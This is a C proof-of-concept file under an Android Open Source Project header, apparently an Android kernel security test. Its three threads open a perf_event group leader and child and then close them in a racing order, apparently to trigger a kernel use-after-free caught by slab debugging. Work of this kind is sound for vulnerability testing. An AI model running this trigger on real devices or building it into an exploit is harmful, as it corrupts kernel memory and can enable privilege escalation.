/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
//overwrite object+0x20,like a list initilize
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <sys/wait.h>
#include <stdint.h>
#include <stdio.h>
#include <pthread.h>
#include <sys/ioctl.h>


struct perf_event_attr {

  /*
   * Major type: hardware/software/tracepoint/etc.
   */
  __u32     type;

  /*
   * Size of the attr structure, for fwd/bwd compat.
   */
  __u32     size;

  /*
   * Type specific configuration information.
   */
  __u64     config;

  union {
    __u64   sample_period;
    __u64   sample_freq;
  };

  __u64     sample_type;
  __u64     read_format;

  __u64     disabled       :  1, /* off by default        */
        inherit        :  1, /* children inherit it   */
        pinned         :  1, /* must always be on PMU */
        exclusive      :  1, /* only group on PMU     */
        exclude_user   :  1, /* don't count user      */
        exclude_kernel :  1, /* ditto kernel          */
        exclude_hv     :  1, /* ditto hypervisor      */
        exclude_idle   :  1, /* don't count when idle */
        mmap           :  1, /* include mmap data     */
        comm         :  1, /* include comm data     */
        freq           :  1, /* use freq, not period  */
        inherit_stat   :  1, /* per task counts       */
        enable_on_exec :  1, /* next exec enables     */
        task           :  1, /* trace fork/exit       */
        watermark      :  1, /* wakeup_watermark      */
        /*
         * precise_ip:
         *
         *  0 - SAMPLE_IP can have arbitrary skid
         *  1 - SAMPLE_IP must have constant skid
         *  2 - SAMPLE_IP requested to have 0 skid
         *  3 - SAMPLE_IP must have 0 skid
         *
         *  See also PERF_RECORD_MISC_EXACT_IP
         */
        precise_ip     :  2, /* skid constraint       */
        mmap_data      :  1, /* non-exec mmap data    */
        sample_id_all  :  1, /* sample_type all events */

        exclude_host   :  1, /* don't count in host   */
        exclude_guest  :  1, /* don't count in guest  */

        exclude_callchain_kernel : 1, /* exclude kernel callchains */
        exclude_callchain_user   : 1, /* exclude user callchains */
        constraint_duplicate : 1,

        __reserved_1   : 40;

  union {
    __u32   wakeup_events;    /* wakeup every n events */
    __u32   wakeup_watermark; /* bytes before wakeup   */
  };

  __u32     bp_type;
  union {
    __u64   bp_addr;
    __u64   config1; /* extension of config */
  };
  union {
    __u64   bp_len;
    __u64   config2; /* extension of config1 */
  };
  __u64 branch_sample_type; /* enum perf_branch_sample_type */

  /*
   * Defines set of user regs to dump on samples.
   * See asm/perf_regs.h for details.
   */
  __u64 sample_regs_user;

  /*
   * Defines size of the user stack to dump on samples.
   */
  __u32 sample_stack_user;

  /* Align to u64. */
  __u32 __reserved_2;
};


#define PAIR_FD 1

int group_fd[PAIR_FD],child_fd[PAIR_FD];

long created = 0;
long freed = 0;
long finished = 0;

void *thr(void *arg) {
  printf("id=%d arg=%d\n",gettid(),arg);

  int i;
  struct perf_event_attr attr;

  switch ((long)arg) {
  case 0:
    //#16123
    printf("thread 0\n");
    memset(&attr,0,sizeof(struct perf_event_attr));
    attr.type = 1;
    attr.size = sizeof(struct perf_event_attr);
    attr.config = 1;

      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
                    -1, 0x1ul, 0);

      if(group_fd[0]<0){
        perror("perf-group:");
      }


    memset(&attr,0,sizeof(struct perf_event_attr));
    attr.type = 1;
    attr.size = sizeof(struct perf_event_attr);
    attr.config = 5;

      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);

      if(group_fd[0]<0){
        perror("perf-child:");
      }

    created = 1;
    break;
  case 1:

    while(!created){
      sleep(1);
    }

    printf("thread 1\n");
    close(group_fd[0]);

    freed = 1;

    break;
  case 2:

    printf("thread 2\n");

    while(!freed){
      sleep(1);
    }

      close(child_fd[0]);

    finished = 1;

    break;

  }
  return 0;
}

int poc() {
  long i;
  pthread_t th[5];
  for (i = 0; i < 3; i++) {
    pthread_create(&th[i], 0, thr, (void *)i);
    usleep(10000);
  }

  while(!finished){
    sleep(1);
  }

  return 0;
}


int main(int argc, char const *argv[])
{
  int pid;
  unsigned int times;
  times = 0;
  printf("POC3\n");
  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
  fflush(stdout);

  // while(1){
    pid = fork();
    if(pid){
      int status;
      int ret = waitpid(pid,&status,0);

      printf("[%d]times.\r",times);
      times++;
    }else
      return poc();
  // }
  return 0;
}